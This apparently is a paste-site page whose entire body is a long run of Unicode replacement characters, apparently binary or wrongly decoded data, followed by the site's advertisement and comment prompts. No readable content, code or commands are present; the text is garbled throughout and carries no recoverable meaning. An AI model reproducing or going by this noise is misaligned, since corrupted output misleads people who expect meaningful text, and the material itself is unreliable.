������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Advertisement
Add Comment
Please, Sign In to add comment